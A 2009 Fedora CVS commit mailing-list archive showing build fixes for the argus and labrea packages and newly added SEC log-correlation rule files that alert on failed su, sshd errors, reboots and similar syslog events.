From kkofler at fedoraproject.org  Sun Oct  4 06:45:16 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sun,  4 Oct 2009 06:45:16 +0000 (UTC)
Subject: rpms/argus/devel argus-2.0.6.fixes.1-libpcap10.patch, NONE,
	1.1 argus.spec, 1.13, 1.14
Message-ID: <20091004064516.8CE8311C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/argus/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25741/devel

Modified Files:
	argus.spec 
Added Files:
	argus-2.0.6.fixes.1-libpcap10.patch 
Log Message:
Don't try sedding argus_parse.c which is already removed by a previous patch.
Use patch instead of sed to stop exporting the conflicting function entirely (as argus_parse.c was the only user outside of argus_filter.c itself).

argus-2.0.6.fixes.1-libpcap10.patch:
 common/argus_filter.c  |   14 +++++++-------
 include/argus_filter.h |    4 ----
 2 files changed, 7 insertions(+), 11 deletions(-)

--- NEW FILE argus-2.0.6.fixes.1-libpcap10.patch ---
diff -ur argus-2.0.6.fixes.1/common/argus_filter.c argus-2.0.6.fixes.1-libpcap10/common/argus_filter.c
--- argus-2.0.6.fixes.1/common/argus_filter.c	2004-05-10 15:29:10.000000000 +0200
+++ argus-2.0.6.fixes.1-libpcap10/common/argus_filter.c	2009-10-04 08:41:35.000000000 +0200
@@ -3106,6 +3106,8 @@
 }
 
 #ifdef BDEBUG
+static void bpf_dump_internal(struct bpf_program *p, int option);
+
 opt_dump(root)
    struct block *root;
 {
@@ -3113,7 +3115,7 @@
 
    memset(bids, 0, sizeof bids);
    f.bf_insns = Argusicode_to_fcode(root, &f.bf_len);
-   bpf_dump(&f, 1);
+   bpf_dump_internal(&f, 1);
    putchar('\n');
    free((char *)f.bf_insns);
 }
@@ -3603,6 +3605,7 @@
 
 
 
+#ifdef BDEBUG
 /*
  * Copyright (c) 1992, 1993, 1994
  *   The Regents of the University of California.  All rights reserved.
@@ -3628,10 +3631,8 @@
 
 #include <stdio.h>
 
-extern void bpf_dump(struct bpf_program *, int);
-
-void
-bpf_dump(struct bpf_program *p, int option)
+static void
+bpf_dump_internal(struct bpf_program *p, int option)
 {
    struct bpf_insn *insn;
    int i;
@@ -3653,13 +3654,12 @@
       return;
    }
    for (i = 0; i < n; ++insn, ++i) {
-#ifdef BDEBUG
       extern int bids[];
       printf(bids[i] > 0 ? "[%02d]" : " -- ", bids[i] - 1);
-#endif
       puts(Argusbpf_image(insn, i));
    }
 }
+#endif
 
 /*
  * Copyright (c) 1990, 1991, 1992, 1993, 1994
diff -ur argus-2.0.6.fixes.1/include/argus_filter.h argus-2.0.6.fixes.1-libpcap10/include/argus_filter.h
--- argus-2.0.6.fixes.1/include/argus_filter.h	2004-02-23 16:00:36.000000000 +0100
+++ argus-2.0.6.fixes.1-libpcap10/include/argus_filter.h	2009-10-04 08:37:48.000000000 +0200
@@ -142,8 +142,6 @@
 u_int ipaddrtonetmask(u_int);
 u_int getnetnumber(u_int);
 
-void bpf_dump(struct bpf_program *, int);
-
 char *intoa(u_int);
 static SIGRET nohostname(int);
 char * getname(u_char *);
@@ -225,8 +223,6 @@
 extern u_int ipaddrtonetmask(u_int);
 extern u_int getnetnumber(u_int);
 
-extern void bpf_dump(struct bpf_program *, int);
-
 extern char *intoa(u_int);
 extern char * getname(u_char *);
 


Index: argus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/argus/devel/argus.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- argus.spec	4 Oct 2009 06:22:55 -0000	1.13
+++ argus.spec	4 Oct 2009 06:45:16 -0000	1.14
@@ -11,9 +11,12 @@ Source2: argus.init
 Source3: README.fedora
 Patch0: argus-2.0.6.fixes.1-makefile.patch
 Patch1: argus-2.0.6.fixes.1-build.patch
-Patch2: argus-clients-2.0.6.fixes.1-makefile.patch
-Patch3: argus-clients-2.0.6.fixes.1-build.patch
-Patch4: argus-clients-2.0.6.fixes.1-print.patch
+# bpf_dump conflicts with a function with slightly different prototype (added
+# const) in libpcap 1.0
+Patch2: argus-2.0.6.fixes.1-libpcap10.patch
+Patch3: argus-clients-2.0.6.fixes.1-makefile.patch
+Patch4: argus-clients-2.0.6.fixes.1-build.patch
+Patch5: argus-clients-2.0.6.fixes.1-print.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires(post): /sbin/chkconfig
 Requires(preun): /sbin/chkconfig
@@ -38,13 +41,11 @@ Clients to the argus probe which process
 %setup -a1
 %patch0 -p1
 %patch1 -p1
-# bpf_dump conflicts with a function with slightly different prototype (added
-# const) in libpcap 1.0
-sed -i -e s/bpf_dump/internal_bpf_dump/g include/argus_filter.h common/argus_{filter,parse}.c
-pushd %{name}-clients-%{version}
 %patch2 -p1
+pushd %{name}-clients-%{version}
 %patch3 -p1
 %patch4 -p1
+%patch5 -p1
 popd
 %{__install} -p -m 0644 %{SOURCE3} .
 



From kkofler at fedoraproject.org  Sun Oct  4 06:55:07 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sun,  4 Oct 2009 06:55:07 +0000 (UTC)
Subject: rpms/labrea/F-12 labrea.spec,1.3,1.4
Message-ID: <20091004065507.6961F11C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/labrea/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28982/F-12

Modified Files:
	labrea.spec 
Log Message:
* Sun Oct 4 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 2.5.1-5
- Fix build with GCC 4.4 (#511524)


Index: labrea.spec
===================================================================
RCS file: /cvs/pkgs/rpms/labrea/F-12/labrea.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- labrea.spec	25 Jul 2009 04:51:59 -0000	1.3
+++ labrea.spec	4 Oct 2009 06:55:07 -0000	1.4
@@ -3,7 +3,7 @@
 
 Name:             labrea
 Version:          2.5.1
-Release:          4%{?dist}
+Release:          5%{?dist}
 Summary:          Tarpit (slow to a crawl) worms and port scanners
 Group:            Applications/Productivity
 License:          GPLv2
@@ -20,6 +20,9 @@ servers to detect and trap worms, hacker
 
 %prep
 %setup -q -n %{download_name}
+# -I- is no longer supported by GCC and -I /usr/include is just pointless
+sed -i -e 's/-I- @DNETINC@ @PCAPINC@//g' src/Makefile.am
+sed -i -e 's/-I- @DNETINC@ @PCAPINC@//g' src/Makefile.in
 
 
 %build
@@ -46,6 +49,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 4 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 2.5.1-5
+- Fix build with GCC 4.4 (#511524)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.5.1-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From kkofler at fedoraproject.org  Sun Oct  4 06:55:07 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sun,  4 Oct 2009 06:55:07 +0000 (UTC)
Subject: rpms/labrea/devel labrea.spec,1.3,1.4
Message-ID: <20091004065507.964C911C0296@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/labrea/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28982/devel

Modified Files:
	labrea.spec 
Log Message:
* Sun Oct 4 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 2.5.1-5
- Fix build with GCC 4.4 (#511524)


Index: labrea.spec
===================================================================
RCS file: /cvs/pkgs/rpms/labrea/devel/labrea.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- labrea.spec	25 Jul 2009 04:51:59 -0000	1.3
+++ labrea.spec	4 Oct 2009 06:55:07 -0000	1.4
@@ -3,7 +3,7 @@
 
 Name:             labrea
 Version:          2.5.1
-Release:          4%{?dist}
+Release:          5%{?dist}
 Summary:          Tarpit (slow to a crawl) worms and port scanners
 Group:            Applications/Productivity
 License:          GPLv2
@@ -20,6 +20,9 @@ servers to detect and trap worms, hacker
 
 %prep
 %setup -q -n %{download_name}
+# -I- is no longer supported by GCC and -I /usr/include is just pointless
+sed -i -e 's/-I- @DNETINC@ @PCAPINC@//g' src/Makefile.am
+sed -i -e 's/-I- @DNETINC@ @PCAPINC@//g' src/Makefile.in
 
 
 %build
@@ -46,6 +49,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 4 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 2.5.1-5
+- Fix build with GCC 4.4 (#511524)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.5.1-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From kkofler at fedoraproject.org  Sun Oct  4 07:01:11 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sun,  4 Oct 2009 07:01:11 +0000 (UTC)
Subject: rpms/argus/devel argus-2.0.6.fixes.1-libpcap10.patch, 1.1,
	1.2 argus.spec, 1.14, 1.15
Message-ID: <20091004070111.3FEDD11C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/argus/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30493/devel

Modified Files:
	argus-2.0.6.fixes.1-libpcap10.patch argus.spec 
Log Message:
remove conflicting redeclaration of bpf_image

argus-2.0.6.fixes.1-libpcap10.patch:
 common/argus_filter.c  |   14 +++++++-------
 include/argus_filter.h |    4 ----
 server/ArgusSource.h   |    2 --
 3 files changed, 7 insertions(+), 13 deletions(-)

Index: argus-2.0.6.fixes.1-libpcap10.patch
===================================================================
RCS file: /cvs/pkgs/rpms/argus/devel/argus-2.0.6.fixes.1-libpcap10.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- argus-2.0.6.fixes.1-libpcap10.patch	4 Oct 2009 06:45:16 -0000	1.1
+++ argus-2.0.6.fixes.1-libpcap10.patch	4 Oct 2009 07:01:10 -0000	1.2
@@ -76,3 +76,15 @@ diff -ur argus-2.0.6.fixes.1/include/arg
  extern char *intoa(u_int);
  extern char * getname(u_char *);
  
+diff -ur argus-2.0.6.fixes.1/server/ArgusSource.h argus-2.0.6.fixes.1-libpcap10/server/ArgusSource.h
+--- argus-2.0.6.fixes.1/server/ArgusSource.h	2004-02-23 16:00:36.000000000 +0100
++++ argus-2.0.6.fixes.1-libpcap10/server/ArgusSource.h	2009-10-04 08:57:29.000000000 +0200
+@@ -324,8 +324,6 @@
+ 
+ int ArgusCreatePktFromFddi(const struct fddi_header *, struct ether_header *, int);
+ 
+-extern char *bpf_image(struct bpf_insn *, int);
+-
+ 
+ #else /* defined(ArgusSource) */
+ 


Index: argus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/argus/devel/argus.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- argus.spec	4 Oct 2009 06:45:16 -0000	1.14
+++ argus.spec	4 Oct 2009 07:01:10 -0000	1.15
@@ -128,7 +128,8 @@ fi
 
 %changelog
 * Sun Oct 04 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 2.0.6.fixes.1-19
-- Fix build with libpcap 1.0 (rename conflicting bpf_dump symbol)
+- Fix build with libpcap 1.0 (rename conflicting bpf_dump symbol, remove
+  conflicting redeclaration of bpf_image)
 
 * Wed Sep 30 2009 Gabriel Somlo <somlo at cmu.edu> - 2.0.6.fixes.1-18
 - Rebuilt for libpcap.1.0



From kkofler at fedoraproject.org  Sun Oct  4 07:01:11 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sun,  4 Oct 2009 07:01:11 +0000 (UTC)
Subject: rpms/argus/F-12 argus-2.0.6.fixes.1-libpcap10.patch, 1.1,
	1.2 argus.spec, 1.13, 1.14
Message-ID: <20091004070111.07BDE11C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/argus/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30493/F-12

Modified Files:
	argus-2.0.6.fixes.1-libpcap10.patch argus.spec 
Log Message:
remove conflicting redeclaration of bpf_image

argus-2.0.6.fixes.1-libpcap10.patch:
 common/argus_filter.c  |   14 +++++++-------
 include/argus_filter.h |    4 ----
 server/ArgusSource.h   |    2 --
 3 files changed, 7 insertions(+), 13 deletions(-)

Index: argus-2.0.6.fixes.1-libpcap10.patch
===================================================================
RCS file: /cvs/pkgs/rpms/argus/F-12/argus-2.0.6.fixes.1-libpcap10.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- argus-2.0.6.fixes.1-libpcap10.patch	4 Oct 2009 06:45:15 -0000	1.1
+++ argus-2.0.6.fixes.1-libpcap10.patch	4 Oct 2009 07:01:10 -0000	1.2
@@ -76,3 +76,15 @@ diff -ur argus-2.0.6.fixes.1/include/arg
  extern char *intoa(u_int);
  extern char * getname(u_char *);
  
+diff -ur argus-2.0.6.fixes.1/server/ArgusSource.h argus-2.0.6.fixes.1-libpcap10/server/ArgusSource.h
+--- argus-2.0.6.fixes.1/server/ArgusSource.h	2004-02-23 16:00:36.000000000 +0100
++++ argus-2.0.6.fixes.1-libpcap10/server/ArgusSource.h	2009-10-04 08:57:29.000000000 +0200
+@@ -324,8 +324,6 @@
+ 
+ int ArgusCreatePktFromFddi(const struct fddi_header *, struct ether_header *, int);
+ 
+-extern char *bpf_image(struct bpf_insn *, int);
+-
+ 
+ #else /* defined(ArgusSource) */
+ 


Index: argus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/argus/F-12/argus.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- argus.spec	4 Oct 2009 06:45:15 -0000	1.13
+++ argus.spec	4 Oct 2009 07:01:10 -0000	1.14
@@ -128,7 +128,8 @@ fi
 
 %changelog
 * Sun Oct 04 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 2.0.6.fixes.1-19
-- Fix build with libpcap 1.0 (rename conflicting bpf_dump symbol)
+- Fix build with libpcap 1.0 (rename conflicting bpf_dump symbol, remove
+  conflicting redeclaration of bpf_image)
 
 * Wed Sep 30 2009 Gabriel Somlo <somlo at cmu.edu> - 2.0.6.fixes.1-18
 - Rebuilt for libpcap.1.0



From stefansf at fedoraproject.org  Sun Oct  4 07:10:49 2009
From: stefansf at fedoraproject.org (Stefan Schulze Frielinghaus)
Date: Sun,  4 Oct 2009 07:10:49 +0000 (UTC)
Subject: rpms/sec/F-11 bsd-general.sec, NONE, 1.1 bsd-mpd.sec, NONE,
	1.1 cisco-syslog.sec, NONE, 1.1 import.log, NONE,
	1.1 pix-general.sec, NONE, 1.1 .cvsignore, 1.4, 1.5 amavisd.sec,
	1.1, 1.2 bsd-MONITOR.sec, 1.1, 1.2 bsd-PHYSMOD.sec, 1.1,
	1.2 bsd-USERACT.sec, 1.1, 1.2 conf.README, 1.1, 1.2 cvs.sec, 1.1,
	1.2 dameware.sec, 1.1, 1.2 hp-openview.sec, 1.1, 1.2 labrea.sec,
	1.1, 1.2 pix-security.sec, 1.1, 1.2 pix-url.sec, 1.1,
	1.2 portscan.sec, 1.1, 1.2 sec.init, 1.1, 1.2 sec.logrotate, 1.1,
	1.2 sec.spec, 1.5, 1.6 snort.sec, 1.1, 1.2 snortsam.sec, 1.1,
	1.2 sources, 1.4, 1.5 ssh-brute.sec, 1.1, 1.2 ssh.sec, 1.1,
	1.2 vtund.sec, 1.1, 1.2 windows.sec, 1.1, 1.2 001_init.sec, 1.1,
	NONE clamav.sec, 1.1, NONE dbi-example.sec, 1.1,
	NONE general.sec, 1.1, NONE mpd.sec, 1.1, NONE syslog-ng.txt,
	1.1, NONE
Message-ID: <20091004071049.5F8C611C02A1@cvs1.fedora.phx.redhat.com>

Author: stefansf

Update of /cvs/pkgs/rpms/sec/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1544/F-11

Modified Files:
	.cvsignore amavisd.sec bsd-MONITOR.sec bsd-PHYSMOD.sec 
	bsd-USERACT.sec conf.README cvs.sec dameware.sec 
	hp-openview.sec labrea.sec pix-security.sec pix-url.sec 
	portscan.sec sec.init sec.logrotate sec.spec snort.sec 
	snortsam.sec sources ssh-brute.sec ssh.sec vtund.sec 
	windows.sec 
Added Files:
	bsd-general.sec bsd-mpd.sec cisco-syslog.sec import.log 
	pix-general.sec 
Removed Files:
	001_init.sec clamav.sec dbi-example.sec general.sec mpd.sec 
	syslog-ng.txt 
Log Message:
- New upstream release
- SPEC file cleanup
- Init script cleanup
- Removed some examples because of licensing issues. Upstream has clarified
  and changed most of the license tags to GPLv2. Additionally, upstream
  will include the examples in the next release.
- Removed a provide statement since a period was in the name and no other
  package required that special name.



--- NEW FILE bsd-general.sec ---
# General log events, unix systems. From various sources
#
# Copyright (C) 2003-2009 Jim Brown
# This is free software. You may redistribute copies of it under the terms of 
# the GNU General Public License version 2.
# There is NO WARRANTY, to the extent permitted by law.
#
#   Bad su 
# ----------- 
#
type=Single
ptype=RegExp 
desc=$0 
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+su: BAD SU (\S+) to (\S+) on (\S+)
action=pipe '$2 failed SU to $3 on $1 at %t' /usr/bin/mail -s "USER: $2 Failed SU on $1" alerts at example.com

type=Single
ptype=RegExp
desc=$0
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+su: BAD SU (\S+) to (\S+) on (\S+)
action=pipe '$2 failed SU to $3 on $1 at %t' /usr/bin/mail -s "USER: $2 Failed SU on $1" alerts at example.com 


# MONITOR.conf - SEC rules to pick up disruptive monitoring
# events.
#
#Logs involving syslogd disabled or unusual promiscuous mode (MONITOR)
#----------------------------------------------------------------------
#Nov 15 20:02:48 foohost syslogd: exiting on signal 15
#Nov 22 02:00:02 foohost syslogd: restart
#Nov 11 15:58:55 foohost /kernel: de0: promiscuous mode enabled
#Nov 11 15:58:57 foohost /kernel: de0: promiscuous mode disabled
#

#
# Syslog Exit
# -----------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+syslogd: exiting on signal (\d+)
desc=$0
action=write - MONITOR: $1 syslog exit on signal $2 at %t

#
# Syslog Restart
# ---------------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+syslogd: restart
desc=$0
action=write - MONITOR: $1 syslog restart at %t

#
# Syslog Exit
# -----------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+/kernel: (\S+) promiscuous mode (\S+)
desc=$0
action=write - MONITOR: $1 $2 promiscuous mode $3 at %t


#
# sshd Problems
# --------------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+sshd\[\d+\]: (fatal|Bad)(.*)
desc=$0
action=write - USERACT: $1 sshd $2 problem, text: $3 at %t

#
# sshd Accepted
# --------------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+sshd\[\d+\]: Accepted (.*)
desc=$0
action=write - USERACT: $1 sshd accepted login, text: $2 at %t

#
# login FAILURES
# ---------------
#
#type=Single
#ptype=RegExp
#pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+login: (.*?FAILURE.)(.*?ON) (.*)
#desc=$0
#action=write - USERACT: $1 login $2 on $4 at %t


#SSH Auth failure on bsd 5
#type=Single
#ptype=RegExp
#pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+sshd\[\d+\]: error: PAM: authentication error for (/S+) from (/S+)
#desc=$0
#action=pipe 'SSHD: 1 $1 2 $2 3 $3 to 4 $4 on 5 $5 at %t' /usr/bin/mail -s "SSHD: $1 $2 $3 to $4 on $5 at %t' alerts at example.com

#
# su  bad
# -----------------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+su: (BAD SU) (\S+) to (\S+) on (\S+)
desc=$0
action=pipe 'USER: $1 SU: $2 $3 to $4 on $5 at %t' /usr/bin/mail -s "USERACT: $1 su: $2 $3 to $4 on $5 at %t' alerts at example.com

#Nov 10 19:40:03 foohost su: jpb to root on /dev/ttyp0
#Nov 18 09:37:38 foohost su: BAD SU jpb to root on /dev/ttyp3
#Nov 22 12:26:44 foohost su: BAD SU badboy to root on /dev/ttyp0
#
#
# su  good to root
# -----------------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+su: (\S+) to root on (\S+)
desc=$0
action=pipe 'USER: $1 GOOD SU: $2 $3 to $4 on $5 at %t' /usr/bin/mail -s "USERACT: $1 su: $2 $3 to $4 on $5 at %t' alerts at example.com  
#action=write - USERACT: $1 su: $2 to ROOT on $4  at %t

#
# Cabling Problem
# ----------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+/kernel: (\S+)\s+(.*?:) cable problem
desc=$0
action=event 0 $1 PHYSMOD:ORANGE  cable problem on $2, text: $3 at %t



# USERACT - Events concerning user activities.
#
# Sample BSD logs involving logins, change of UID and privilege escalations.
#---------------------------------------------------------------------------
#Nov 14 12:14:58 foohost sshd[3388]: fatal: Timeout before authentication for 192.168.1.1
#Nov 14 19:58:34 foohost sshd[6597]: Bad protocol version identification '^B^S^D^Q^L' from 192.168.1.100
#Oct 18 06:16:53 foohost sshd[131]: Accepted keyboard-interactive/pam for foouser from 192.168.1.1 port 1077 ssh2
#Nov 15 04:02:24 foohost login: 1 LOGIN FAILURE ON ttyp2
#Nov 15 04:02:24 foohost login: 1 LOGIN FAILURE ON ttyp2, mysql
#Oct 18 03:20:46 foohost login: 2 LOGIN FAILURES ON ttyv0
#Oct 18 02:52:04 foohost login: ROOT LOGIN (root) ON ttyv1
#Oct 18 06:11:11 foohost login: login on ttyv0 as root
#Nov 10 19:40:03 foohost su: foouser to root on /dev/ttyp0
#Nov 18 09:37:38 foohost su: BAD SU foouser to root on /dev/ttyp3
#Nov 22 12:26:44 foohost su: BAD SU goodboy to root on /dev/ttyp0
#

#
# sshd Problems
# --------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+sshd\[\d+\]: (fatal|Bad)(.*)
desc=$0
action=pipe 'USER: $1 su: $2 $3 to $4 on $5 at %t' /usr/bin/mail -s "USERACT: $1 su: $2 $3 to $4 on $5 at %t' alerts at example.com   
#action=event 0 $1 USERACT:YELLOW  sshd $2 problem, text: $3 at %t

#
# login FAILURES
# ---------------
# ORANGE
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+(sshd|login): (.*?FAILURE.)(.*?ON) (.*)
desc=$0
action=pipe 'USER: $1: Login Failure $2 on $4 at %t' /usr/bin/mail -s "USER: $1 su: $2 $3 to $4 on $5 at %t' alerts at example.com   
#action=event 0 $1 USERACT:YELLOW  login $2 on $4 at %t


# NETWACT - SEC rules to pick up suspicious network events.
#
# Sample BSD logs involving odd or suspicious network activity.
#--------------------------------------------------------------
#Jun  3 17:46:24 foohost named[38298]: client 10.12.127.176#3714: request has invalid signature: tsig verify failure
#Apr 14 16:23:08 foohost /kernel: arp: 10.10.152.12 moved from 00:90:27:37:35:cf to 00:d0:59:aa:61:11 on de0
#Apr  1 11:23:39 sixshooter /kernel: Limiting closed port RST response from 368 to 200 packets per second


#
# named Dynamic DNS Update rejection
# ----------------------------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+named\[\d+\]: client (\S+): request has invalid signature:(.*)
desc=$0
action=pipe 'NET: $1 dyndns attempt from $2' /usr/bin/mail -s "NET: $1 dyndns attempt from $2, text: $3 at %t" alerts at example.com

#
# MAC address moved
# -----------------
# ORANGE
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+/kernel: arp: (\S+) moved from (\S+) to (\S+) on (\S+)
desc=$0
action=pipe 'NET: $1 arp moved on $2' /usr/bin/mail -s "NET: $1 arp moved on $2 from: $3 to $4 on $5 at %t" alerts at example.com

#
# DoS RST rate limit
# ------------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+/kernel: Limiting closed port RST response from (\d+) to (\d+)
desc=$0
action=pipe 'NET: $1 RST limit enforced: $2 to $3 at %t' /usr/bin/mail =s "NET: $1 RST limit enforced: $2 to $3" alerts at example.com



# COMPROM - SEC rules to pick up potential system compromise events.
#
# Sample BSD logs involving potential system compromise.
#-------------------------------------------------------
#May 25 18:09:55 foohost ntpd[1325]: ntpd exiting on signal 11
#Jul 21 18:33:16 foohost /kernel: pid 55454 (ftpd), uid 1001: exited on signal 8
#Apr  9 12:57:06 foohost /kernel: pid 28039 (telnet), uid 0: exited on signal 3 (core dumped)

#
# ntpd crash
# ------------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+ntpd\[\d+\]: ntpd exiting on signal (\d+)
desc=$0
action=pipe 'CRASH: $1 ntpd crashed on signal $2 at %t' /usr/bin/mail -s "CRASH: $1 ntpd crashed" alerts at example.com

#
# Process crash
# ------------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+/kernel: pid \d+ \(\S+\), uid (\d+): exited on signal (\d+)
desc=$0
action=pipe 'CRASH: $1 $2 crashed on signal $4, uid $3 at %t' /usr/bin/mail -s "CRASH: $1 $2 crashed" alerts at example.com



# PROCESS - SEC rules to pick up suspicious process events.
#
# Sample BSD logs involving unusual processes.
#---------------------------------------------
#Mar 23 08:05:52 foohost thttpd[126]: thttpd/2.25b 29dec2003 starting on port 8090

#
# Suspicious processes
# --------------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+(thttpd)\[(\d+)\]:(.*) 
desc=$0
action=pipe 'SUSPROC: $1 suspicious process  $2 pid $3, text: $4 at %t' /usr/bin/mail -s "SUSPROC: $1 suspicious process  $2" alerts at example.com



# SHUTRST - SEC rules to pick up system shutdown, restart events.
#
# Sample BSD logs involving system shutdown and reset.
#-----------------------------------------------------
#Mar  6 16:28:13 foohost reboot: rebooted by foouser 
#Jul 15 17:35:49 foohost halt: halted by root
#Mar  6 16:29:17 foohost /kernel: Copyright (c) 1992-2003 The FreeBSD Project.

#
# Reboot message
# --------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+reboot: rebooted by (\S+)
desc=$0
action=pipe 'REBOOT: $1 rebooted by $2' /usr/bin/mail -s "REBOOT: $1 rebooted by $2" alerts at example.com

#
# Halt message
# --------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+halt: halted by (\S+)
desc=$0
action=pipe 'HALT: $1 halted by $2' /usr/bin/mail -s "HALT: $1 halted by $2" alerts at example.com

#
# Restart message
# --------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+/kernel: Copyright \(c\) (\S+) The FreeBSD Project
desc=$0
action=pipe 'RESTART: $1 restart message at %t' /usr/bin/mail -s "RESTART: $1 restart message" alerts at example.com



--- NEW FILE bsd-mpd.sec ---
#############################################################################
# BSD mpd events
#
# Copyright (C) 2003-2009 Matt Jonkman
# This is free software. You may redistribute copies of it under the terms of 
# the GNU General Public License version 2.
# There is NO WARRANTY, to the extent permitted by law.
#############################################################################

type=single
desc = mpd connection start
ptype=regexp
pattern=([A-z._0-9-]*) mpd: PPTP connection from (\d+\.\d+\.\d+\.\d+):\d+
action=add GENERAL_REPORT MPD Start from $2 on $1

type=single
ptype=regexp
pattern=([A-z._0-9-]*) mpd:  Name: (.*)
desc = mpd user auth
action=add GENERAL_REPORT MPD User $2 Auth on $1

type=Single
ptype=RegExp
pattern=([A-z._0-9-]*) mpd: pptp\d: killing connection with (\d+\.\d+\.\d+\.\d+):\d+
desc=mpd connection end
action=add GENERAL_REPORT MPD Connection end from $2 on $1


--- NEW FILE cisco-syslog.sec ---
#############################################################################
# SEC rules for processing Cisco syslog messages
#
# Copyright (C) 2008-2009 Omer Ben-Shalom, Risto Vaarandi
# This is free software. You may redistribute copies of it under the terms of 
# the GNU General Public License version 2.
# There is NO WARRANTY, to the extent permitted by law.
#############################################################################

# ----- Process system configuration events -----

# System configuration events
# suppressed because we don't care about it
#
type=suppress
ptype=substr
pattern=%SYS-5-CONFIG_I:
desc=device configuration

# System configuration sync to standby router
# suppressed because we don't care about it
#
type=suppress
ptype=substr
pattern=%PFINIT-SP-5-CONFIG_SYNC:
desc=config sync

# ----- Process reload and restart events -----

# Looks for a reload 
# 
type=single
continue=takeNext
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%SYS-5-RELOAD: (.*)
desc=(WARNING) reload requested for $1
action=pipe '%s details:$2' mail -s 'cisco event' root at example.com

# Looks for a reload followed by a restart event
# 
type=pairWithWindow
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%SYS-5-RELOAD:
desc=(CRITICAL) $1 RELOAD_PROBLEM
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=regexp
pattern2=($1).*?%SYS-5-RESTART:
desc2=(NOTICE) $1 RELOAD_OK
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=300

# Looks for a restart without reload command
# 
type=single
ptype=regexp
pattern=(\S+) \d+:.*?%SYS-5-RESTART:
desc=(CRITICAL) $1 restart without reload command
action=pipe '%s' mail -s 'cisco event' root at example.com

# ----- process SNMP authentication failure events -----

